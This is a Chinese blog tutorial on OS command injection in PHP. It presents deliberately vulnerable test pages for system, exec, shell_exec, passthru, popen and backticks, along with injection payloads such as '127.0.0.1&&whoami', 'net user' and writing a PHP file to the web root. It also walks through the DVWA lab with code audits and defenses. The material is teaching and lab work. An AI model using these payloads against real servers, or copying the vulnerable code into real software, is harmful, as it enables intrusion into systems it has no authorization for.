• 【OS命令注入】常见OS命令执行函数以及OS命令注入利用实例以及靶场实验—基于DVWA靶场


    1 OS命令注入概述

    背景:程序员使用脚本语言(如PHP等)开发应用程序过程中,脚本语言开发十分快速、简洁、方便,但是也伴随着一些问题,比如速度慢、无法触及系统底层等。开发的应用时,特殊是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件),当应用需要调用一些外部程序时就会用到一些系统命令的函数。

    OS命令注入:当应用在调用这些系统命令函数时,如果将用户的输入作为系统命令的参数拼接到命令中,在没有过滤用户输入的情况下,就会造成命令执行漏洞。

    条件

    • 程序中含有可以执行OS命令的函数或语言结构;
    • 传入该函数或语言结构的参数是客户端可以控制的(可以直接修改或造成影响)且没有进行足够的过滤。

    漏洞危害

    • 继承Web服务器程序权限(Web用户权限)去执行系统命令;
    • 继承Web服务器程序权限(Web用户权限)去读写文件;
    • 反弹shell。通常我们对一个开启了80端口的服务器进行访问时,就会建立起与服务器Web服务链接,从而获取到服务器相应的Web服务。而反弹shell是我们开启一个端口进行监听,转而让服务器主动反弹一个shell来连接我们的主机,我们再通过接收到的shell进而来远程控制服务器。
    • 控制整个网站 ;
    • 控制整个服务器。

    2 常见OS命令注入函数及例子

    2.1 system()函数

    作用:该函数能够将字符串作为OS命令执行,自带输出功能。

    原型string system ( string $command [, int &$return_var ] )

    危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。

    例子

    • 在网站根目录下新建Command文件夹,并在该文件夹下新建txt文件,重命名为symtem.php,该文件的测试代码如下:
    <?php
    if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    system($cmd);
    }else{
        echo "Please submit cmd!<br >?cmd=ipconfig;";
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 在客户端我们访问该网页时带入如下参数以利用漏洞,网页将执行构造的语句返回系统信息(以下函数也是如此)。注入语句应与靶机系统相适应。
    ?cmd=ipconfig				//将返回IP配置信息
    ?cmd=cd						//查看当前目录
    ?cmd=systeminfo				//返回系统信息
    ?cmd=whoami					//
    ?cmd=net user				//查看或新增用户等
    ?cmd=dir					//将返回文件信息
    ?cmd=ping www.baidu.com		//执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。
    ?cmd=type c:\windows\system32\drivers\etc\hosts	//查看系统文件
    ?cmd=echo"<?php phpinfo();?>">路径		//写入文件,可写入一句话木马等
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    2.2 exec()函数

    作用:该函数能够将字符串作为OS命令执行,需要配合输出结果命令

    原型string exec ( string $command [, array &$output [, int &$return_var ]] )

    危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。

    例子

    • 在网站根目录下的Command文件夹下,新建txt文件,重命名为exec.php,该文件的测试代码如下:
    <?php
    if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    print exec($cmd);
    }else{
        echo "Please submit cmd!<br >?cmd=ipconfig;";
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。注意,该函数的返回结果是有限的。
      在这里插入图片描述

    2.3 shell_exec()函数

    作用:该函数能够将字符串作为OS命令执行,需要配合输出结果命令一般应用最广泛

    危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。

    例子

    • 在网站根目录下的Command文件夹下,新建txt文件,重命名为shell_exec.php,该文件的测试代码如下:
     <?php
    if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    print shell_exec($cmd);
    }else{
        echo "Please submit cmd!<br >?cmd=ipconfig;";
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。
      在这里插入图片描述

    2.4 passthru()函数

    作用:该函数能够将字符串作为OS命令执行,自带输出功能。

    原型void passthru ( string $command [, int &$return_var ] )

    危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。

    例子

    • 在网站根目录下的Command文件夹下,新建txt文件,重命名为passthru.php,该文件的测试代码如下:
    <?php
    if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    passthru($cmd);
    }else{
        echo "Please submit cmd!<br >?cmd=ipconfig;";
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。
      在这里插入图片描述

    2.5 popen()函数

    作用:该函数能执行OS命令,返回的是一个文件指针。无论返回什么,我们关心的是命令被执行了。

    特点:与其他函数不同的是,需要传入第二个参数作为第一个参数执行结果的存储文件。

    例子

    • 在网站根目录下的Command文件夹下,新建txt文件,重命名为popen.php,该文件的测试代码如下:
    <meta charset='gb2312'>
    <?php
    if (isset($_GET['cmd'])){
    	echo"<pre>";
    	popen($_GET['cmd'],'r');
    }else{
    	echo"?cmd=whoami";
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 在客户端我们访问该网页时带入如下参数,网页将执行构造的语句并在同目录下生成文件(如已有该文件则追加内容)。
    ?cmd=ipconfig >>1.txt				//将返回IP配置信息
    ?cmd=systeminfo >>1.txt				//返回系统信息
    ?cmd=whoami >>1.txt					//
    ?cmd=net user >>1.txt				//查看或新增用户等
    ?cmd=dir >>1.txt					//将返回文件信息
    ?cmd=ping www.baidu.com >>1.txt		//执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    • 访问刚刚写入的1.txt文件,内容如下,说明上述命令执行成功。

    在这里插入图片描述

    2.6 反引号结构

    作用反引号内[ ]的字符串也会被解析成OS命令执行,需要配合输出结果命令

    注意

    • 反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的。
    • 与其它某些语言不同,反引号不能在双引号字符串中使用。

    例子

    • 在网站根目录下的Command文件夹下,新建txt文件,重命名为`.php,该文件的测试代码如下:
    <?php
    if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    print `($cmd)`;
    }else{
        echo "Please submit cmd!<br >?cmd=ipconfig;";
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。
      在这里插入图片描述

    3 OS命令注入漏洞的利用

    OS 命令注入漏洞,攻击者直接继承Web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows 系统下测试成功。

    3.1 查看系统文件

    采用真实机访问system.php,其中提交参数?cmd=type c:\windows\system32\drivers\etc\hosts,查看系统hosts 文件。
    在这里插入图片描述

    3.2 显示当前路径

    采用真实机访问system.php,其中提交参数?cmd=cd
    在这里插入图片描述

    3.3 写文件

    (1)采用真实机访问system.php,其中提交参数?cmd=echo "<?php phpinfo();?>" > C:\phpStudy\PHPTutorial\WWW\Command\shell.php
    在这里插入图片描述

    (2)页面没有报错,访问shell.php 文件,验证文件是否写入成功
    在这里插入图片描述

    4 OS命令注入漏洞的防御

    (1)尽量减少命令执行函数的使用,并在disable_functions中禁用(php.ini配置文件中的disable_functions设置);
    (2)在进入命令执行函数或方法前,应对参数进行过滤;
    (3)参数的值尽量使用引号进行包裹,并在拼接调用前调用addslashes进行转义。
    在这里插入图片描述

    5 OS命令注入漏洞靶场实验

    5.1 实验目的

    (1)结合SQL注入、XSS漏洞、PHP语句注入等实验,加深理解注入语句的构造与绕过思路;
    (2)掌握OS命令注入漏洞的检验与利用方法;
    (3)加强代码审计能力。

    5.2 实验环境

    靶机:win2008虚拟机,部署WAMP环境,并搭建DVWA靶场。虚拟机系统安装及WAMP部署方法参考文章《《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,DVWA靶场的搭建参考《【环境搭建-02】基于WAMP环境的DVWA漏洞靶场的搭建

    真实机:win10系统。

    5.3 实验前准备

    Windows 系例支持的多语句执行如下:

    • |:直接执行后面的语句。例如: ping 127.0.0.1|whoami。
    • ||:或,如果前面命令成功执行,那么命令结束执行;当前面的语句执行出错时,执行后面的语句。例如: ping 127.0.0.1||whoami。
    • &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如: ping 127.0.0.1&whoami。
    • &&:与,如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如: ping 127.0.0.1&&whoami。

    Linux系统支持的多语句执行如下:

    • ;:执行完前面的语句再执行后面的。例如: ping 127.0.0.1;whoami。
    • |:显示后面语句的执行结果。例如: ping 127.0.0.1|whoami。
    • ||:或,如果前面命令成功执行,那么命令结束执行;当前面的语句执行出错时,执行后面的语句。例如: ping 127.0.0.1||whoami。
    • &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 。例如: ping 127.0.0.1&whoami。
    • &&:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如: ping 127.0.0.1&&whoami。

    5.4 实验内容

    尝试对不同安全级别的OS命令注入漏洞进行渗透,同时结合其代码审计互相印证学习。

    5.4.1 low级别

    (1)打开DVWA靶场(登录账号默认是admin,密码是password。),并将难度级别设置为low
    在这里插入图片描述

    (2)当输入IP地址为127.0.0.1并点击submit时,回显内容为ping的结果。对此,我们推断该处输入参数能带入到后台执行,并回显内容,可能存在注入点。在我们参数输入位置前,应该是有ping命令。
    在这里插入图片描述

    (3)我们采用语句whoami对网站及后台进行无损检测,更换为其他命令可实施攻击。修改参数为127.0.0.1&&whoami(127.0.0.1是为了使前面的ping闭合,&&为与),回显结果如下,可以看到成功注入出系统信息。
    在这里插入图片描述
    (4)这是几个注入语句的测试结果对比,可以注入语句可能还有更多:

    127.0.0.1&&whoami			//成功执行并返回ping的信息和whoami的信息
    127.0.0.1&whoami			//成功执行并返回ping的信息和whoami的信息
    127.0.0.1;whoami			//执行失败,从cmd运行结果看似乎分号不能分隔开两个语句
    127.0.0.1|whoami			//成功执行,仅返回whoami信息。
    127.0.0.1| whoami			//成功执行,仅返回whoami信息。
    127.0.0.0.1||whoami			//故意输入一个错误的IP,让程序执行或运算符后面的语句。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    (5)代码审计,可以看到该网页采用了shell_exec函数,同时,参数没有任何过滤。
    在这里插入图片描述

    <?php
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    5.4.2 medium级别

    (1)将DVWA靶场的难度级别设置为medium
    (2)在low级别的基础上,测试其可行注入语句在medium级别的运行情况。

    127.0.0.1&&whoami			//执行失败,从显示错误信息判断可能是&&被过滤
    127.0.0.1&whoami			//成功执行并返回ping的信息和whoami的信息
    127.0.0.1|whoami			//成功执行,仅返回whoami信息。
    127.0.0.1| whoami			//成功执行,仅返回whoami信息。
    127.0.0.0.1||whoami			//故意输入一个错误的IP,让程序执行或运算符后面的语句。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    (3)代码审计,从其代码分析,在参数输入后对&&和;都过滤掉了。
    在这里插入图片描述

    <?php
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
        // Set blacklist
        $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    5.4.3 high级别

    (1)将DVWA靶场的难度级别设置为high

    (2)在low级别的基础上,测试其可行注入语句在medium级别的运行情况。

    127.0.0.1&&whoami			//执行失败,从显示错误信息判断可能是&&被过滤
    127.0.0.1&whoami			//执行失败,从显示错误信息判断可能是&被过滤
    127.0.0.1|whoami			//成功执行,仅返回whoami信息。
    127.0.0.1| whoami			//执行失败,从显示错误信息判断可能是| 被过滤
    127.0.0.0.1||whoami			//执行失败,从显示错误信息判断可能是||被过滤
    
    • 1
    • 2
    • 3
    • 4
    • 5

    (3)代码审计,从其代码分析,在参数输入后对多种符号都过滤掉了。
    在这里插入图片描述

    <?php
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    5.4.4 impossible级别

    (1)将DVWA靶场的难度级别设置为impossible
    (2)代码审计,该级别的代码过滤原则采用的是“满足才给过”,而不是前两关的“满足黑名单就过滤”的原则,因此无法注入其他命令骗其执行。但是该代码的书写方式也限制了用户的输入,比如ping域名则无法ping通
    在这里插入图片描述

    <?php
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        // Get input
        $target = $_REQUEST[ 'ip' ];
        $target = stripslashes( $target );
        // Split the IP into 4 octects
        $octet = explode( ".", $target );
        // Check IF each octet is an integer
        if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
            // If all 4 octets are int's put the IP back together.
            $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
            // Determine OS and execute the ping command.
            if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
            }
            else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
            }
            // Feedback for the end user
            echo "<pre>{$cmd}</pre>";
        }
        else {
            // Ops. Let the user name theres a mistake
            echo '<pre>ERROR: You have entered an invalid IP.</pre>';
        }
    }
    // Generate Anti-CSRF token
    generateSessionToken();
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    6 总结

    (1)了解可能引起OS命令注入的函数;
    (2)掌握这些函数的使用方法;
    (3)了解常用的防御方法。
    (4)了解OS命令注入的绕过思路。

  • 相关阅读:
    热门股权项目:富滇银行股份有限公司0.0232%股权转让
    linux debian8.2系统安装mysql
    华为eNSP实验-三层交换机的不同网段通信(通过OSPF路由方式)
    风口浪尖上的低代码工具革命
    Oracle/PLSQL: Asin Function
    group by and union all
    w10系统 如何使用 C++、cmake、opencv、
    神策 SCRM 正式发布,打通企业全域数据,聚焦私域精细化运营
    什么是浮动?什么是文档流?清除浮动的几种方式及原理?什么是BFC,如何触发BFC,BFC的作用
    [Linux安装软件详解系列]04 安装Redis
  • 原文地址:https://blog.csdn.net/m0_64378913/article/details/124894696